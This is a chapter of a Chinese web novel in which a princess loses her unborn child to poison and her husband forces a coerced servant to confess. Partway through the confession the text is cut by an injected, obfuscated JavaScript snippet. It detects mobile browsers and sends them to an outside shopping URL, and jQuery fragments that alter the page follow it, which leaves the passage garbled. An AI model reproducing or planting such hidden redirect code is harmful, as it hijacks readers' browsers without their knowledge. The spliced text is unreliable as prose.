49. 就在身后

作品:《找个残腿当靠山

    秦亿云是黑空笼罩的时候醒来的,且一睁眼宋晋和就坐在旁边,眼里有些许疲惫。


    “王爷?”


    她轻轻叫了声,想起身拥抱,不想刚有动作,腹部就一阵扯痛。


    “我这是……”


    许是母子连心,无端的,她就将手放到肚子上,且心里隐隐有了猜想。


    宋晋和喉结紧了紧,伸手牵住她,“云儿,我会给你一个交代。”


    “我的孩子……没了?”


    秦亿云不可置信的张大眼,“我……我做了个梦,孩子就没了?”


    她看过宋晋和,又转眼去看冬娘,脑子里恍恍惚惚,“冬娘,我梦到四哥了,我梦到我去战场找他,我想带他回去,我还没来得及带他回去,我的孩子……为什么我的孩子没了?”


    说到最后,她声音开始颤起来,“我……都快两个月了,怎么会掉?”


    “王府有人要害我?”


    冬娘垂下眸,咬着牙狠狠闭眼,“公主恕罪,是老奴没看住,让人趁机下了毒,老奴认罪。”


    ‘咔嚓、’


    宋晋和指节被捏得一声脆响,答案在嘴边呼之欲出,可还有王府的叛徒。


    “云儿,我定会给你交代,但请你再宽限我几日,王府的刺,我得拔掉。”


    秦亿云眼前氤氲,没眼泪,只雾蒙蒙一片缓不过来。


    她伸出手,想去牵冬娘,不想宋晋和熟稔握住,“是我对不住你。”


    秦亿云淡淡扯着嘴角摇头,“不是我的人,我从虞国带来的人都是母后亲信,从小陪我长大,不会害我,好好查你的人。”


    秦亿云颤着,不知是哭还是怕,肩膀一抖一抖的,“别杀,带他来见我。”


    “好。”


    宋晋和捏了捏她的手,给出郑重的一诺,随后凑近在她额心轻轻落下一吻,便敛了温柔出去了。


    而在宋晋和走后的屋子里,气氛降至冰点。


    冬娘垂眸捏着手不敢言,秦亿云望着上空呆呆发愣。


    她刚才还想说梦太真实,鲜血淋漓、裙裤泥泞,原来一切都不是梦。


    她是真的小产,流了一大滩血,掉了自己的孩子。


    望着望着,秦亿云眼里充上血丝,她转过眼朝冬娘伸出手。


    “冬娘,能在你眼皮子底下下毒,王府能有几个人?”


    冬娘也百思不得其解,“老奴也一直在想,这些日子您吃的喝的老奴都一一验过,保证了入口无害,这毒……究竟从哪进去的。”


    “别又让我寒心。”


    屋内没了别人,秦亿云才敢说真话。她虚虚的靠在床榻上,望着门口的方向嘴角嘲讽。


    “恭亲王府,只有恭亲王最方便。”


    “公主……”


    冬娘想劝,然而失去孩子的母亲早没了理智,“没什么不能说的,上辈子皇帝能如此,他又如何不能?”


    “我只是想知道,他要如何给我交代?”


    门外的风铃依旧叮当脆响着,秦亿云只一身素白里衣,披下头发,粉黛未施,一双眸子含泪自嘲,看得人满是心疼。


    “会不会又像上辈子一个,赌一个错处?”


    “公主。”冬娘实在不忍心,将她胸口的被子拉了拉,“您身子还虚着,不宜过度伤心。王爷既然说了给交代,就一定会查,我们等着便是。”


    “若是三两天再给不出说法,我们……再做打算也不迟。”


    “再做打算……”秦亿云闭了闭眼,“我真恨呐,我这副女儿身什么都做不了。”


    “公主平息燕国开战之心,已是立了大功。”


    “平息战火没用,得让燕国成为友邦才是最重要的。可燕国……人人存着称霸之心。”


    秦亿云眼里晶莹渐渐消失,“我拖着住宋晋和一时,就怕拖不住他一世……”


    恭亲王府院子中。


    长福已经将近三日伺候秦亿云吃食的厨娘叫了出来,一一查过身上、房间,甚至连指甲缝、衣服夹层都查过了,可还是没发现毒药。


    宋晋和面色黑沉着,目光打量过院子中站着的每一人,有尽心侍奉他的,有对他有恩的,但也有叫不上名字的。


    “没证据,那就是团伙作案。”


    轮椅在青石板上碾过,‘轱辘轱辘’忍不住让人后背绷直。


    “既如此,就都带去西南院。”


    西南院是干什么的,王府里的人都知道,活蹦乱跳的一个人进去,鲜血淋漓的出来,那里面,存着的可都是敲腿骨挖膝盖的东西。


    话落,一大半丫鬟跪下来,拖着长腔调却不敢哭,“王爷明察,奴婢们绝无可能陷害小世子。”


    “王爷,奴婢从小跟着您,王府就是奴婢的家,奴婢怎么会对家人下手?”


    “是啊王爷,奴婢无亲无故,只身一人在王府谋生,奴婢没理由如此……”


    “奴婢的命是王爷救回来的,奴婢宁死都不会陷害王爷!”


    地上跪着的人表忠心,站着的、犹豫的也开始跪下来说两句。


    宋晋和耷拉着眼皮瞧着,叫长福拖了最后一排抄着手低眸犹豫的人。


    宋晋和不记得,但长福却记得此人,此人是府里的粗使婆子,平常负责柴火、煤炭等一些用品的购买。因做的都是杂活进不了主院,所以他疑心就不深。


    不想被揪出后,那粗使婆子跪在地上的大腿止不住颤抖,“王……王爷……”


    “怕什么?”宋晋和居高临下看着。


    “老奴……老奴第一次近距离见王爷,心里害怕。”粗壮婆子紧张的不住咽口水,盯着宋晋和鞋尖眼睛是一毫也不敢多抬。


    “老奴没做过对不起王府和王妃的事,求王爷王妃明察。”


    一样的求饶一样的磕头,宋晋和淡淡看着,心里毫无波动。


    “元德,让周六绑了她家里人。”


    话落,粗壮婆子身形明显抖了一下,随后倏地抬头,“王爷,老奴……老奴没有做对不起王府的事……”


    她执拗着不认,可宋晋和早看惯了这套,不对她动一根头发,却让长福将铁锤带出去。


    那把木头铁锤是干什么的?


    当然是对不听话的奴才在脑子上先敲一锤。


    粗使婆子‘咻——’的一声趴下,“王爷恕罪!求王爷恕罪!是老奴的错,都是老奴的错!与我孩子无关,与我孩子无关呐!”


    小孩的脑袋没被敲,只一刻钟人就带到了王府。


    宋晋和看着已经十三四的小男孩,眼底浓稠更甚。他的孩子,若是平安降世,应该更加英俊潇洒。


    “豆儿,到娘这边来……”


    粗使婆子小心叫着,可孩子刚走两步,就被长福拉住。


    长福目光看着宋晋和,王爷不说,他就不放。


    而宋晋和,也确实没放人的意思,只盯着头脑抢地的人,“还有人。”


    一个买柴买炭的,只能在柴火里动手脚,而这些东西一燃会生烟,烟味带毒冬娘定会闻出。


    瞧见自己老来子被人家捏在手里,粗使婆子还有什么不能说。


    “王爷,老奴……老奴也是迫不得已。”


    话刚开了个头,她就落下泪来,“豆儿在学堂读书,突然被其他同学欺负,或打或骂,天天顶着一身伤回来,老奴问了才知道,是上面的意思。”


    她面如死灰说着,想将苦水倒出来,又或者博一丝同情,“上面要我带一包东西进来,我是不愿意,可他们威胁我,若是不带,就将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187072|194936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我的豆儿乱棍打死,王爷,我……我是被逼的……”


    宋晋和面容已经黑的不能看,比将要落幕的天空还要更甚一筹。


    “带什么东西?给谁?”


    “是……是负责给王爷洗衣服的碧儿,带了一包白粉,老奴也不知道干什么的……”


    宋晋和一个眼神,粗使婆子被带了下去,而碧儿,被两人架着抬上来。


    屋外冷风呼啸,屋内虽有地暖傍身,可若人心如死灰,再暖的东西也如冰块。


    秦亿云抱着汤婆子,静静听着冬娘将屋外的场景。


    “公主,应当是宫里的手笔。这手法,宫里不少见。”


    “是啊,她知道我身边有你不好下手,便挑了宋晋和。千防万防,没想到最后是身边人。”


    冬娘轻轻叹一声,“今夜还是除夕,公主可得想清楚。除夕不顺,一年坎坷。”


    “那我的孩子呢?就这么算了?”


    冬娘还想再说,可见秦亿云执拗,终还是劝不出口。


    没了孩子,当母亲的比谁都难过。


    外面锣鼓喧天,不断有烟花升空,可早已万事妥当的王府,却寂静如冷宫。


    丫鬟们蜷在厢房内,一个个伸着脑袋想看外面的烟花,可又怕乱跑惹主子生气,只能互相怄气,怨对方没看住,让歹人钻了空子。


    处理完这件事的宋晋和,打了清水沐浴,又换了一身早已不穿的款式衣服,看着有些滑稽。


    ‘啪嗒、’


    屋门开启,他独自一人进来,没着急找人,只站在门口交代。


    “云儿,是我害了你。”


    “她让人在我洗衣服的水里下了毒,毒不在你,在我身上。”


    秦亿云靠在床边闭着眼,眼皮微微颤抖。冬娘就算再厉害,也不可能闻到他身上的气味。


    “那王爷打算怎么做?”


    “杀了。”


    秦亿云眸突然抬起,弑母可不是他会做的事。


    “我给过你承诺,要护你一世周全。凡是伤害你的,都该死。”


    轮椅‘轱辘轱辘’转得更近,秦亿云凝眸看着,暖黄烛火旁一身冷硬但眼里满是悲伤的人。


    “王爷,孩子没了。”


    “我知道。错不在你。”


    “是我没护好他。”


    “是我没护好你们两。”


    “王爷……”


    兀地一生,秦亿云哭出声来,宋晋和忙上前抱住,将她抱在怀里,轻轻拍着背。


    “云儿,是我对不住你。我会给你交代,会让害我们孩子的人给他偿命,往后我好好补偿你,你想做什么就做什么,别走,好不好……”


    被他抱在怀里的人身子一僵,“王爷说什么?”


    “我听见了,你和冬娘说要走,别走,对不起,别走。”


    每说一句,宋晋和就将她搂得更紧,紧得秦亿云快要喘不过气,拍拍他他才肯作罢。


    “冬娘,在这间屋子待久了我好像都不是我了,想出去走走。”


    记忆在脑中浮现,惹得秦亿云没忍住嗤笑,“我说的是到院子走走,王爷想多了。”


    “今夜是除夕,除夕陪家人,我不在家陪王爷,我还能去哪?不过——”


    “你说,只要你说,我一定办到。”


    许是没了孩子没牵连,宋晋和这会特别怕她离开,握着她的手求证明。


    “那就去城南小院,之前长福说过,燕国人过年都是要梅花煮酒的。王府的梅花薅光了,可城南小院还在。”


    “我想去城南小院,住一段时间。”


    “好,好。”宋晋和捏着她的手,知道她想一个人静静。


    “今夜我就陪你过去,咱们先好好过除夕。”